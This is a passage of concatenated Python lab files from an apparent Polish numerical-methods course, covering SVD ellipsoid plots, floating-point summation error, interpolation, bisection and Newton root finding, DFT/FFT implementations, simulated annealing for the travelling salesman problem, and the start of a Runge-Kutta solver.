0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][0].flatten() + 0.5*(np.amax(X)+np.amin(X)) Yb = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][1].flatten() + 0.5*(np.amax(Y)+np.amin(Y)) Zb = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][2].flatten() + 0.5*(np.amax(Z)+np.amin(Z)) for xb, yb, zb in zip(Xb, Yb, Zb): ax.plot([xb], [yb], [zb], 'w') ax.set_xlabel("x") ax.set_ylabel("y") ax.set_zlabel("z") fig.suptitle(label) plt.grid() plt.show() def show_3d_plot_matrix(matrix,axis,label): X=[val[0] for val in matrix] Y=[val[1] for val in matrix] Z=[val[2] for val in matrix] fig = plt.figure() ax = fig.gca(projection='3d') ax.scatter(X, Y, Z, c='b', marker='o',s=1) a_x=[val[0] for val in axis] a_y=[val[1] for val in axis] a_z=[val[2] for val in axis] ax.scatter(a_x, a_y, a_z, c='r', marker='o',s=1) # Create cubic bounding box to simulate equal aspect ratio max_range = np.array([np.amax(X)-np.amin(X), np.amax(Y)-np.amin(Y), np.amax(Z)-np.amin(Z)]).max() Xb = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][0].flatten() + 0.5*(np.amax(X)+np.amin(X)) Yb = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][1].flatten() + 0.5*(np.amax(Y)+np.amin(Y)) Zb = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][2].flatten() + 0.5*(np.amax(Z)+np.amin(Z)) # Comment or uncomment following both lines to test the fake bounding box: for xb, yb, zb in zip(Xb, Yb, Zb): ax.plot([xb], [yb], [zb], 'w') ax.set_xlabel("x") ax.set_ylabel("y") ax.set_zlabel("z") fig.suptitle(label) plt.grid() plt.show() # 1.1 T = np.arange(0,math.pi,0.1) S = np.arange(0,2*math.pi,0.05) X = [] Y = [] Z = [] for i,t in enumerate(T): for j,s in enumerate(S): X.append(math.sin(t)*math.cos(s)) Y.append(math.sin(s)*math.sin(t)) Z.append(math.cos(t)) show_3d_plot(X,Y,Z,'wykres sfery jednostkowej') sphere_matrix = [list(a) for a in zip(X, Y, Z)] # 1.2 A1 = np.array([[2,3,1],[1,1,3],[4,0,1]]) A2 = np.array([[1,2,1],[0,2,0],[0,2,1]]) A3 = np.array([[1,0,0.5],[0,1.5,0],[0,0,0.5]]) A = [A1,A2,A3] ax_x = [[a,0,0] for a in np.arange(-4,4,0.1)] ax_y = [[0,a,0] for a in np.arange(-4,4,0.1)] ax_z = [[0,0,a] for a in np.arange(-4,4,0.1)] elipse_1 = np.matmul(sphere_matrix,A1) elipse_2 = np.matmul(sphere_matrix,A2) elipse_3 = np.matmul(sphere_matrix,A3) E = [elipse_1,elipse_2,elipse_3] show_3d_plot_matrix(elipse_1,[],"Elipse 1") show_3d_plot_matrix(elipse_2,[],"Elipse 2") show_3d_plot_matrix(elipse_3,[],"Elipse 3") # 1.3 for (i,a) in enumerate(A): ax_x = [[a,0,0] for a in np.arange(-4,4,0.1)] ax_y = [[0,a,0] for a in np.arange(-4,4,0.1)] ax_z = [[0,0,a] for a in np.arange(-4,4,0.1)] axis = [ax_x,ax_y,ax_z] out = [] u, s, vh = np.linalg.svd(a) u.shape, s.shape, vh.shape for os in axis: m1 = list(np.matmul(os,np.dot(u * s, vh))) out.append(m1) show_3d_plot_matrix(list(E[i]),out[0]+out[1]+out[2],'Elipsa '+str(i+1)+' z osiami') #1.4 # Znajdź taką macierz Ai, aby stosunek jej największej i najmniejszej # wartości osobliwej był większy od 100. Narysuj odpowiadającą jej elipsoidę. s = [1,1] while max(s)/min(s) < 100: random_matrix = [] for a in range(3): random_matrix.append([]) for b in range(3): random_matrix[a].append(random.randint(0,5)) u, s, vh = np.linalg.svd(random_matrix) u.shape, s.shape, vh.shape elipse_4 = list(np.matmul(sphere_matrix,random_matrix)) show_3d_plot_matrix(elipse_4,[],"Macierz z stosunkiem skrajnych wartosci szczegolnych rownym 100") print(random_matrix) # 1.5 # dla A1 A1 = np.array([[2,3,1],[1,1,3],[4,0,1]]) u, s, vh = np.linalg.svd(A1) u.shape, s.shape, vh.shape sigma = np.diag(s) # S*Vt elipse_5 = np.dot(sphere_matrix,vh) show_3d_plot_matrix(elipse_5,[],"S*Vt") # SEVt elipse_6 = np.dot(sphere_matrix,np.dot(sigma,vh)) show_3d_plot_matrix(elipse_6,[],"S*E*Vt") # SUEVt elipse_7 = np.dot(sphere_matrix,np.dot(u,np.dot(sigma,vh))) show_3d_plot_matrix(elipse_7,[],"S*U*E*Vt") # S*A1 show_3d_plot_matrix(elipse_1,[],"Elipsa 1") <file_sep>/lab5/main.py from mpmath import cos,cosh,sec,sin,sinh,exp,tan,fabs,mpf,log,mp,pi f1 = lambda x : cos(x)*cosh(x) - 1 f2 = lambda x : 1/x - tan(x) f3 = lambda x : 2**(-x) + exp(x) + 2*cos(x) - 6 def bisection(min_precision,left,right,absolute_error,f): # ustawienie precyzji mp.dps = min_precision # zfracany wnik x = mpf(0.0) # liczba krokow k = 0 left = mpf(left) right = mpf(right) absolute_error = mpf(absolute_error) while fabs(left - right) > absolute_error: x = mpf((left + right)/2) if fabs(f(x)) <= absolute_error: break elif mpf(f(left))*mpf(f(x)) < mpf(0): right = x elif mpf(f(right))*mpf(f(x)) < mpf(0): left = x k += 1 print("Miejsce zerowe",x) print("Wartosc funkcji",f(x)) print("Liczba krokow",k) print() # dla f1 left_f1 = mpf(3/2*pi) right_f1 = mpf(2*pi) left_f2 = mpf(0) right_f2 = mpf(pi/2) left_f3 = mpf(1) right_f3 = mpf(3) # dla f1 bisection(7,left_f1,right_f1,mpf(10**(-7)),f1) # dla f2 bisection(7,left_f2 +mpf(10**(-7)),right_f2,mpf(10**(-7)),f2) # dla f3 bisection(7,left_f3,right_f3,mpf(10**(-7)),f3) # dla f1 bisection(15,left_f1,right_f1,mpf(10**(-15)),f1) # dla f2 bisection(15,left_f2+mpf(10**(-15)),right_f2,mpf(10**(-15)),f2) # dla f3 bisection(15,left_f3,right_f3,mpf(10**(-15)),f3) # dla f1 bisection(33,left_f1,right_f1,mpf(10**(-33)),f1) # dla f2 bisection(33,left_f2+mpf(10**(-7)),right_f2,mpf(10**(-33)),f2) # dla f3 bisection(33,left_f3,right_f3,mpf(10**(-33)),f3) k = 10 for i in range(k): print("Mijesce zerowe",i+1) bisection(10,(i+1)*pi ,(i+2)*pi,mpf(10**(-7)),f1) # metoda newtona def newton_method(min_precision,left,right,epsilon,f,df,max_iterations): mp.dps = min_precision k = 0 start_point = mpf(left) x = mpf(right) epsilon = mpf(epsilon) while k < max_iterations: x = start_point - mpf(f(start_point))/mpf(df(start_point)) if fabs(start_point - x) <= epsilon: break start_point = x k += 1 print("Miejsce zerowe",x) print("Wartosc funkcji",f(x)) print("Liczba krokow",k) df1 = lambda x : -cosh(x)*sin(x) + cos(x)*sinh(x) df2 = lambda x : -1/(x**2) - sec(x)**2 df3 = lambda x : exp(x) - 2**(-x)*log(2) - 2*sin(x) # dla f1 newton_method(7,left_f1,right_f1,mpf(10**(-7)),f1,df1,200) # dla f2 newton_method(7,left_f2 + mpf(10**(-7)),right_f2,mpf(10**(-7)),f2,df2,200) # dla f3 newton_method(7,left_f3,right_f3,mpf(10**(-7)),f3,df3,200) # dla f1 newton_method(15,left_f1,right_f1,mpf(10**(-15)),f1,df1,200) # dla f2 newton_method(15,left_f2+mpf(10**(-15)),right_f2,mpf(10**(-15)),f2,df2,200) # dla f3 newton_method(15,left_f3,right_f3,mpf(10**(-15)),f3,df3,200) # dla f1 newton_method(33,left_f1,right_f1,mpf(10**(-33)),f1,df1,200) # dla f2 newton_method(33,left_f2+mpf(10**(-33)),right_f2,mpf(10**(-33)),f2,df2,200) # dla f3 newton_method(33,left_f3,right_f3,mpf(10**(-33)),f3,df3,200) def euler_method(min_precision,left,right,epsilon,f,max_iterations,k): mp.dps = min_precision left = mpf(left) right = mpf(right) epsilon = mpf(epsilon) k = 0 while max_iterations > 0 and fabs(left - right) > epsilon: max_iterations -= 1 k += 1 x0 = left - f(left)*(left - right)/(f(left) - f(right)) right = left left = x0 if f(x0) < epsilon: break print("Miejsce zerowe",x0) print("Wartosc funkcji",f(x0)) print("Liczba krokow",k) print() # start_point = left # x = right # dla f1 print("Metoda siecznych") newton_method(7,left_f1,right_f1,mpf(10**(-7)),f1,df1,200) # dla f2 newton_method(7,left_f2 + mpf(10**(-7)),right_f2,mpf(10**(-7)),f2,df2,200) # dla f3 newton_method(7,left_f3,right_f3,mpf(10**(-7)),f3,df3,200) # dla f1 newton_method(15,left_f1,right_f1,mpf(10**(-15)),f1,df1,200) # dla f2 newton_method(15,left_f2 + mpf(10**(-15)),right_f2,mpf(10**(-15)),f2,df2,200) # dla f3 newton_method(15,left_f3,right_f3,mpf(10**(-15)),f3,df3,200) # dla f1 newton_method(33,left_f1,right_f1,mpf(10**(-33)),f1,df1,200) # dla f2 newton_method(33,left_f2 + mpf(10**(-33)),right_f2,mpf(10**(-33)),f2,df2,200) # dla f3 newton_method(33,left_f3,right_f3,mpf(10**(-33)),f3,df3,200)<file_sep>/lab10/main.py import numpy as np import cmath from scipy.linalg import dft from random import random import matplotlib.pyplot as pyplot import math import time # 1 def fourier_matrix(N): F = [] w = complex(cmath.cos(cmath.pi*2/N),(-1)*cmath.sin(2*cmath.pi/N)) for i in range(N): F.append([]) for k in range(N): F[i].append(complex(0,0)) F[i][k] = (pow(w,i*k)) return F def my_dft(A): N = len(A) return np.dot(fourier_matrix(N),A) def are_equals(A,B, delta): for i,e in enumerate(A): if(math.fabs(math.fabs(A[i].real) - math.fabs(B[i].real)) > delta or math.fabs(math.fabs(A[i].imag) - math.fabs(B[i].imag)) > delta): return False return True for i in range(5): A = [random() for _ in range(5)] print(A) C = np.fft.fft(A) B = my_dft(A) print(C) print(B) print("Are equals ? ",are_equals(C,B,0.001)) # print(my_dft([1,2,3,4])) # print(dft(4)) # print(np.fft.fft([1,2,3,4])) # print(np.ifft()) # 2 def my_idft(A): N = len(A) F = np.conjugate(fourier_matrix(N)) F /= N return np.dot(F,A) for i in range(5): A = [random() for _ in range(5)] print(A) C = np.fft.ifft(A) B = my_idft(A) print(C) print(B) print("Are equals ? ",are_equals(C,B,0.001)) # 3 # https://www.youtube.com/watch?v=WsJlJexWKPw # http://ortografia4.appspot.com/wiki/Algorytm_Cooleya-Tukeya def my_cooley_turkey(X): n = len(X) val = cmath.exp(-2*cmath.pi*1j/n) if n > 1: X = my_cooley_turkey(X[::2]) + my_cooley_turkey(X[1::2]) for k in range(n//2): xk = X[k] X[k] = xk + val**k*X[k+n//2] X[k+n//2] = xk - val**k*X[k+n//2] return X X = [complex(random(),random()) for _ in range(8)] print(X) A = np.fft.fft(X) print("Are equals ? ",are_equals(my_cooley_turkey(X),A,0.001)) for i in [2**5,2**6,2**7,2**8,2**9,2**10,2**11,2**12]: X = [complex(random(),random()) for _ in range(i)] print(f"Test dla macierzy o wielkosci {i} ") start = time.time() A = np.fft.fft(X) stop = time.time() t_lib = stop - start start = time.time() my_cooley_turkey(X) stop = time.time() t_wl = stop - start start = time.time() my_dft(X) stop = time.time() t_kw = stop - start print(f"Czasy:\n Biblioteka: {t_lib} Własny: {t_wl} kwadratowy: {t_kw}") def generate_signal(ran): n1 = random()*10 n2 = random()*10 n3 = random()*10 n4 = random()*10 n5 = random()*10 return (lambda x: cmath.sin(n1*x) + cmath.sin(n2*x) + cmath.sin(n3*x) + cmath.sin(n4*x) + cmath.sin(n5*x), lambda x: cmath.sin(n1*x) if x>=0 and x < ran/5 else cmath.sin(n2*x) if x>= ran/5 and x < 2*ran/5 else cmath.sin(n3*x) if x>= 2*ran/5 and x < 3*ran/5 else cmath.sin(n4*x) if x>= 3*ran/5 and x < 4*ran/5 else cmath.sin(n5*x)) # return lambda x: cmath.sin(2*x) + cmath.sin(0.1*x),lambda x: cmath.sin(5*x) N = 10 ran = 500 s1,s2 = generate_signal(N) x = [] y = [] x2 = [] y2 = [] for i in range(ran): x.append(i* N/ran ) y.append(s1(i*N/ran)) x2.append(N/ran * i) y2.append(s2(N/ran * i)) pyplot.plot(x,y,'ro',markersize=1) pyplot.show() pyplot.plot(x2,y2,'ro',markersize=1) pyplot.show() y3 = my_dft(y) y4 = my_dft(y2) eps = 10e-4 def draw_real(x,y): X = [] Y= [] for i in range(len(x)//2): X.append(x[i]) Y.append(y[i].real + y[len(y)-i-1].real) pyplot.plot(X,Y) pyplot.show() def draw_imag(x,y): X = [] Y= [] for i in range(len(x)//2): X.append(x[i]) Y.append(y[i].imag + y[len(y)-i-1].imag) pyplot.plot(X,Y) pyplot.show() draw_real(x,y3) draw_imag(x,y3) draw_real(x2,y4) draw_imag(x2,y4)<file_sep>/lab13/main.py # http://iswiki.if.uj.edu.pl/images/2/20/AiSD_22._Symulowane_wy%C5%BCarzanie_%28problem_komiwoja%C5%BCera%29.pdf import random import math import numpy as np from scipy.optimize import dual_annealing import matplotlib.pyplot as plt def dual_annealing2(f, swap ,N, maxiter=10000, callback = lambda x: None, initial_temp= 100000,cold_speed = 0.98): X = [i for i in range(N)] Y = [i for i in range(N)] B = [i for i in range(N)] b_length = 999999999 Pr = lambda x: math.exp((-1)*x/initial_temp) length = 999999999 for i in range(maxiter): swap(X) opt = f(X) if opt < length: Y = [x for x in X] length = opt if length < b_length: b_length = length B = [x for x in X] else: delta_length = math.fabs(opt - length) pr = random.uniform(0,1) if pr <= Pr(delta_length): Y = [x for x in X] length = opt initial_temp = cold_speed*initial_temp return B,b_length def uniform_points(N,x_min,x_max,y_min,y_max): X = [] Y = [] for _ in range(N): X.append(random.uniform(x_min,x_max)) Y.append(random.uniform(y_min,y_max)) return X,Y def four_gropus(N,d,x_length,y_length): X = [] Y = [] for i in range(N): if i%4 == 0: X.append(random.uniform(0,x_length)) Y.append(random.uniform(0,y_length)) if i%4 == 1: X.append(random.uniform(x_length+d,2*x_length + d)) Y.append(random.uniform(y_length+d,2*y_length + d)) if i%4 == 2: X.append(random.uniform(x_length + d, 2*x_length + d)) Y.append(random.uniform(0,y_length)) if i%4 == 3: X.append(random.uniform(0,x_length)) Y.append(random.uniform(y_length+d,2*y_length + d)) return X,Y def normal_points(N, mu, sigma): X = np.random.normal(mu, sigma, N) Y = np.random.normal(mu, sigma, N) return X,Y def visualize_points(X,Y): plt.plot(X,Y) plt.plot(X,Y,'ro',markersize=4) plt.show() def length(X,Y,N): leng = 0 for i in range(N-1): leng += math.sqrt((X[i]-X[i+1])**2 + (Y[i] - Y[i+1])**2) return leng def salesman_lib(X,Y,N, temp = 5230): def permutation(x): P = [] x2_copy = [f for f in x] for i in range(N): P.append(i) x2_ziped = list(zip(P,x2_copy)) x2_ziped.sort(key=lambda tup: tup[1]) x2_unziped = list(zip(*x2_ziped)) x2_copy = x2_unziped[1] P = x2_unziped[0] return P def length(x): P = permutation(x) leng = 0 for i in range(N-1): leng += math.sqrt((X[P[i]]-X[P[i + 1]])**2 + (Y[P[i]] - Y[P[i+1]])**2) return leng def adapt_points_to_permutation(P): x2 = [] y2 = [] for i in range(N): y2.append(Y[P[i]]) x2.append(X[P[i]]) return x2,y2 salesman_func = lambda x : length(x) lw = [0] * N up = [1] * N ret = dual_annealing(salesman_func, bounds=list(zip(lw, up)),maxiter=1000,initial_temp=temp) print(f"Optymalna permutacja: ",permutation(ret.x)," \nDługośc ścieżki :", ret.fun) return adapt_points_to_permutation(permutation(ret.x)) def salesman(X,Y,N,cons_swap = True, arb_swap = False, temp = 5230): def consecutive_swap(x): # if cons_swap: pair_to_swap = random.randint(0,N-2) x[pair_to_swap], x[pair_to_swap + 1] = x[pair_to_swap + 1], x[pair_to_swap] def arbitrary_swap(x): # if arb_swap: node_1 = random.randint(0,N-1) node_2 = random.randint(0,N-1) while node_2 == node_1: node_2 = random.randint(0,N-1) x[node_1], x[node_2] = x[node_2], x[node_1] def length(x): P = x leng = 0 for i in range(N-1): leng += math.sqrt((X[P[i]]-X[P[i + 1]])**2 + (Y[P[i]] - Y[P[i+1]])**2) return leng def adapt_points_to_permutation(P): x2 = [] y2 = [] for i in range(N): y2.append(Y[P[i]]) x2.append(X[P[i]]) return x2,y2 salesman_func = lambda x : length(x) if arb_swap: ret,leng = dual_annealing2(salesman_func, arbitrary_swap, N,initial_temp=temp) if cons_swap: ret,leng = dual_annealing2(salesman_func, consecutive_swap, N,initial_temp=temp) print(f"Optymalna permutacja: ",ret," \nDługośc ścieżki :", leng) return adapt_points_to_permutation(ret) N = 10 for i in range(6): print("Liczba punktów:",N) print("Wylosowane punkty:") X,Y = uniform_points(N,10,0,10,0) visualize_points(X,Y) print("Długośc ścieżki :", length(X,Y,N)) print("Impplementacja z funkcja biblioteczną:") X2,Y2 = salesman_lib(X,Y,N) visualize_points(X2,Y2) print("Arbitary swap:") X2,Y2 = salesman(X,Y,N,arb_swap=True,cons_swap=False) visualize_points(X2,Y2) print("Consecutive wap:") X2,Y2 = salesman(X,Y,N,arb_swap=False,cons_swap=True) visualize_points(X2,Y2) N += 5 N = 10 for i in range(6): print("Liczba punktów:",N) print("Wylosowane punkty:") X,Y = normal_points(N,0,1) visualize_points(X,Y) print("Długośc ścieżki :", length(X,Y,N)) print("Impplementacja z funkcja biblioteczną:") X2,Y2 = salesman_lib(X,Y,N) visualize_points(X2,Y2) print("Arbitary swap:") X2,Y2 = salesman(X,Y,N,arb_swap=True,cons_swap=False) visualize_points(X2,Y2) print("Consecutive swap:") X2,Y2 = salesman(X,Y,N,arb_swap=False,cons_swap=True) visualize_points(X2,Y2) N += 5 N = 10 for i in range(6): print("Liczba punktów:",N) print("Wylosowane punkty:") X,Y = four_gropus(N,30,10,10) visualize_points(X,Y) print("Długośc ścieżki :", length(X,Y,N)) print("Impplementacja z funkcja biblioteczną:") X2,Y2 = salesman_lib(X,Y,N) visualize_points(X2,Y2) print("Arbitary swap:") X2,Y2 = salesman(X,Y,N,arb_swap=True,cons_swap=False) visualize_points(X2,Y2) print("Consecutive wap:") X2,Y2 = salesman(X,Y,N,arb_swap=False,cons_swap=True) visualize_points(X2,Y2) N += 5 # temperatura start_temp = 0.0001 for i in range(20): print("Dla temperatury:",start_temp) X2,Y2 = salesman_lib(X,Y,N,temp=start_temp) visualize_points(X2,Y2) start_temp = start_temp*10 # Wizualizacja metody minimalizujacej funkcje celu: Kolejne kroki def salesman_visualize(X,Y,N,no_swap = True,cons_swap = False, arb_swap = False, temp = None ): def permutation(x): P = [] x2_copy = [f for f in x] for i in range(N): P.append(i) x2_ziped = list(zip(P,x2_copy)) x2_ziped.sort(key=lambda tup: tup[1]) x2_unziped = list(zip(*x2_ziped)) x2_copy = x2_unziped[1] P = x2_unziped[0] return P def consecutive_swap(x): if cons_swap: pair_to_swap = random.randint(0,N-2) x[pair_to_swap], x[pair_to_swap + 1] = x[pair_to_swap + 1], x[pair_to_swap] def arbitrary_swap(x): if arb_swap: node_1 = random.randint(0,N-1) node_2 = random.randint(0,N-1) while node_2 == node_1: node_2 = random.randint(0,N-1) x[node_1], x[node_2] = x[node_2], x[node_1] def length(x): consecutive_swap(x) arbitrary_swap(x) P = permutation(x) leng = 0 for i in range(N-1): leng += math.sqrt((X[P[i]]-X[P[i + 1]])**2 + (Y[P[i]] - Y[P[i+1]])**2) return leng def adapt_points_to_permutation(P): x2 = [] y2 = [] for i in range(N): y2.append(Y[P[i]]) x2.append(X[P[i]]) return x2,y2 def callback(x,y, context): x_plt,y_plt = adapt_points_to_permutation(permutation(x)) visualize_points(x_plt,y_plt) salesman_func = lambda x : length(x) lw = [0] * N up = [1] * N ret = dual_annealing(salesman_func, bounds=list(zip(lw, up)),maxiter=1000,callback=callback) print(f"Optymalna permutacja: ",permutation(ret.x)," \nDługośc ścieżki :", ret.fun) return adapt_points_to_permutation(permutation(ret.x)) N = 15 X,Y = uniform_points(N,10,0,10,0) visualize_points(X,Y) print("Długośc ścieżki :", length(X,Y,N)) X2,Y2 = salesman_visualize(X,Y,N) visualize_points(X2,Y2)<file_sep>/lab1/main.py # <NAME> 2020 MOWNIT import numpy as np from numpy import float32,power,float64 import matplotlib.pyplot as pyplot import time v = float32(0.53125) numbers = [v]*10**7 def blad_wzgledny(number,result): return (number - result) / number def blad_bezwzgledny(number,result): return (number - result) # zad 1.1, 1.4 def tradycyjne_sumowanie(numbers): result = float32(0.0) blad_talbe = [] start = time.time() c = 0 for i in numbers: result = result + i if c%25000 == 0: blad_talbe.append(blad_wzgledny(v*(c + 1),result)) c += 1 end = time.time() tradycyjne_time =end - start print("Czas tradycyjnego",tradycyjne_time) pyplot.plot(blad_talbe) pyplot.show() return result # zad 1.4 def tree_sum(numbers): if len(numbers) == 0: return float32(0.0) if len(numbers) == 1: return numbers[0] if len(numbers) == 2: return numbers[0] + numbers[1] return tree_sum(numbers[ :int(len(numbers)/2 )]) + tree_sum(numbers[ int(len(numbers)/2): ]) # zad 2 def kahan(numbers): suma = float32(0.0) err = float32(0.0) for i in numbers: y = i - err temp = suma + y err = (temp - suma) - y suma = temp return suma # zad 1.2 print("TRADYCYJNE SUMOWANIE") first = tradycyjne_sumowanie(numbers) print("Blad wzgledny",blad_wzgledny(5312500,first)) print("Blad bezwzgledny",blad_bezwzgledny(5312500,first)) print() # zad 1.5 print("TREE SUM") start = time.time() tree_numbers_sum = tree_sum(numbers) end = time.time() tree_time = end - start print("Blad wzgledny",blad_wzgledny(5312500,tree_numbers_sum)) print("Blad bezwzgledny",blad_bezwzgledny(5312500,tree_numbers_sum)) print("Czas tree sum",tree_time) print() # zad 2.1 print("KAHAN SUM") start = time.time() kahan_sum = kahan(numbers) end = time.time() kahan_time = end - start print("Blad wzgledny",blad_wzgledny(5312500,kahan_sum)) print("Blad bezwzgledny",blad_bezwzgledny(5312500,kahan_sum)) print("Czas Kahana", kahan_time) print() # zad 1.6 # tree_sum dziala woniej gdyż jest to algorytm oc zasie O(n*log(n)) # podczas gdy tradycyjne sumowanie to O(n) # zad 2.2 #Ponieważ eliminuje błąd utraty low-order bitów, #za kazdym razem jest wyliczany err czyli bity ktore zostaly utracone w sumowaniu duzej liczby i malej #bity te są dodawane w nastepnym obiegu petli do kolejenj liczby # zad 2.3 #Sumowanie rekurencyjne zajumje wiecej czasu gdyn ma zlozonosc O(n*log(n)) #podczas gdy algorytm Kahana ma czas liniowy # zad 3 def dzeta(s,n,reverse,doublePrecision): if reverse: if doublePrecision: step = float64(-1.0) else: step = float32(-1.0) start = n else: if doublePrecision: step = float64(1.0) start = float64(1.0) else: step = float32(1.0) start = float32(1.0) if doublePrecision: sum = float64(0.0) else: sum = float32(0.0) for i in range(0,50): if doublePrecision: y = float64(1.0)/np.power(start,s) else: y = float32(1.0)/np.power(start,s) sum = sum + y start = start + step return sum def eta(s,n,reverse,doublePrecision): if reverse: if doublePrecision: step = float64(-1.0) else: step = float32(-1.0) start = n else: if doublePrecision: step = float64(1.0) start = float64(1.0) else: step = float32(1.0) start = float32(1.0) if doublePrecision: sum = float64(0.0) else: sum = float32(0.0) for i in range(0,50): if(i%2==0): if doublePrecision: y = -float64(-1.0)/np.power(start,s) else: y = -float32(-1.0)/np.power(start,s) else: if doublePrecision: y = -float64(1.0)/np.power(start,s) else: y = -float32(1.0)/np.power(start,s) sum = sum + y start = start + step return sum sfloat32 = [float32(2.0),float32(3.6667),float32(5.0),float32(7.2),float32(10.0)] sfloat64 = [float64(2.0),float64(3.6667),float64(5.0),float64(7.2),float64(10.0)] nfloat32 = [float32(50.0),float32(100.0),float32(200.0),float32(500.0),float32(1000.0)] nfloat64 = [float64(50.0),float64(100.0),float64(200.0),float64(500.0),float64(1000.0)] print("ZAD3 DZETA") for i in range(0,5): for j in range(0,5): print() print("Pojedyncza precyzja s=",sfloat32[i],"n=",nfloat32[j]," : ",dzeta(sfloat32[i],nfloat32[j],False,False)) print("Pojedyncza precyzja revers s=",sfloat32[i],"n=",nfloat32[j]," : ",dzeta(sfloat32[i],nfloat32[j],True,False)) print("Podwujna precyzja s=",sfloat64[i],"n=",nfloat64[j]," : ",dzeta(sfloat64[i],nfloat64[j],False,True)) print("Podwujna precyzja revers s=",sfloat64[i],"n=",nfloat64[j]," : ",dzeta(sfloat64[i],nfloat64[j],False,True)) print("ZAD3 ETA") for i in range(0,5): for j in range(0,5): print() print("Pojedyncza precyzja s=",sfloat32[i],"n=",nfloat32[j]," : ",eta(sfloat32[i],nfloat32[j],False,False)) print("Pojedyncza precyzja revers s=",sfloat32[i],"n=",nfloat32[j]," : ",eta(sfloat32[i],nfloat32[j],True,False)) print("Podwujna precyzja s=",sfloat64[i],"n=",nfloat64[j]," : ",eta(sfloat64[i],nfloat64[j],False,True)) print("Podwujna precyzja revers s=",sfloat64[i],"n=",nfloat64[j]," : ",eta(sfloat64[i],nfloat64[j],False,True)) # Dla sumowania z reversem dostajemy bledne wyniki, # bez reversu jest dokladniej, # ak widac float64 jest dokladniejszy od float32, # ktrego wynik siega 10^-7, float64 siega do 10^-16 # zad 4 def odwzorowanie(x0,r,n,doublePrecision): for i in range(0,n): if doublePrecision: result = r*x0*(float64(1.0) - x0) else: result = r*x0*(float32(1.0) - x0) x0 = result return x0 # 4.A x = [] y = [] r = float32(1.0) while r <= float32(4.0): xzero = float32(0.0) while xzero <= float32(1.0): val = odwzorowanie(xzero,r,100,False) y.append(val) x.append(r) xzero = xzero + float32(0.02) r = r + float32(0.005) pyplot.plot(x,y,'ro',markersize=1) pyplot.axis([1.0, 4.0, 0.0, 1.0]) pyplot.show() # 4.B x = [] y = [] r = float64(3.75) while r <= float64(3.8): xzero = float64(0.0) while xzero <= float64(1.0): val = odwzorowanie(xzero,r,100,True) y.append(val) x.append(r) xzero = xzero + float64(0.02) r = r + float64(0.005) pyplot.plot(x,y,'bo',markersize=1) pyplot.axis([3.75, 3.8, 0.0, 1.0]) pyplot.show() x = [] y = [] r = float32(3.75) while r <= float32(3.8): xzero = float32(0.0) while xzero <= float32(1.0): val = odwzorowanie(xzero,r,100,False) y.append(val) x.append(r) xzero = xzero + float32(0.02) r = r + float32(0.005) pyplot.plot(x,y,'ro',markersize=1) pyplot.axis([3.75, 3.8, 0.0, 1.0]) pyplot.show() # 4.C r = float32(4.0) delta = 1e-5 n_max = 1000000 x0 = float32(0.0) print("ZAD 4C\n") while x0 <= float32(1.0): k = x0 l = 0 while k > delta and l<n_max: result = r*k*(float32(1.0) - k) k = result l = l + 1 print("X0=",x0,"liczba iteracji:",l) x0 = x0 + float32(0.05) <file_sep>/lab2/main.py import numpy as np from numpy import float32,power,float64 import matplotlib.pyplot as pyplot import math from scipy.interpolate import interp1d #np.linalg.slove() #np.vander() # wzor lagranrza, metoda newtona do interpolacji # zad 1 def func(x): return 1/(1 + x**2) delta = -5 range_len = 10 for n in [5,10,16]: x_point = delta y = [] x = [] while x_point<=5 : x.append(x_point) y.append(func(x_point)) x_point = x_point + range_len/n x = np.array(x) y = np.array(y) van = np.vander(x,n+1,increasing = True) a = np.linalg.solve(van,y) x_axis = -5 x_plot = [] y_plot = [] y_arx_plot = [] delta_func = [] while x_axis <= 5: x_plot.append(x_axis) y_plot.append(func(x_axis)) val = 0 for (i,r) in enumerate(a): val = val + r * (x_axis **i) y_arx_plot.append(val) delta_func.append(func(x_axis) - val) x_axis += 0.01 # 1ab pyplot.plot(x_plot,y_plot,'bo',markersize=1) pyplot.plot(x_plot,y_arx_plot,'ro',markersize=1) pyplot.plot(x_plot,delta_func,'yo',markersize=1) pyplot.show() # zad 2 n = 15 start = -5 end = 5 czybyszew_points = [] for k in range(1,n+1): czybyszew = 0.5*(start + end) + 0.5*(end - start)*math.cos(((2*k-1)/(2*n))*math.pi) czybyszew_points.append(czybyszew) delta = -5 range_len = 10 y = [] x = [] for (i,c) in enumerate(czybyszew_points): x.append(c) y.append(func(c)) x = np.array(x) y = np.array(y) van = np.vander(x,n,increasing = True) a = np.linalg.solve(van,y) x_axis = -5 x_plot = [] y_plot = [] y_arx_plot = [] delta_func = [] while x_axis <= 5: x_plot.append(x_axis) y_plot.append(func(x_axis)) val = 0 for (i,r) in enumerate(a): val = val + r * (x_axis **i) y_arx_plot.append(val) delta_func.append(func(x_axis) - val) x_axis += 0.01 pyplot.plot(x_plot,y_plot,'bo',markersize=1) pyplot.plot(x_plot,y_arx_plot,'ro',markersize=1) pyplot.plot(x_plot,delta_func,'yo',markersize=1) pyplot.show() # zad 3 a = 5 b = 1 def x_func(t): return a*math.cos(t) def y_func(t): return b*math.sin(t) x = [] y = [] t = 0 while t <= 2*math.pi: x.append(x_func(t)) y.append(y_func(t)) t += 0.01 pyplot.plot(x,y,'bo',markersize=1) pyplot.show() def cube_spline_interpolate_elipse(n): r = np.linspace(0,2*math.pi,n) sx = interp1d(r,list(map(x_func,r)),kind='cubic') sy = interp1d(r,list(map(y_func,r)),kind='cubic') x = [] y = [] for t in np.linspace(0, 2 * np.pi, 1000): x.append(sx(t)) y.append(sy(t)) pyplot.plot(x,y,'bo',markersize=1) pyplot.show() cube_spline_interpolate_elipse(10) cube_spline_interpolate_elipse(30) cube_spline_interpolate_elipse(5) <file_sep>/lab12/main.py import sys import numpy as np import matplotlib.pyplot as plt import math def runge_kutta_order_4(f, t, x, h, n): ta = t for j in range(1,n + 1): if t != 0: k1 = h*f(t,x) k2 = h*f(t + 0.5*h, x + 0.5*k1) k3 = h*f(t + 0.5*h, x + 0.5*k2) k4 = h*f(t + h, x + k3) x = x + (1.0 / 6.0 )*(k1 + 2*k2 + 2* k3 + k4) t = t + h return t,x # prawidlowe rozwiazanie x = [] y = [] for i in np.arange(-1,1,0.001): x.append(i) y.append(i*math.asin(i)) 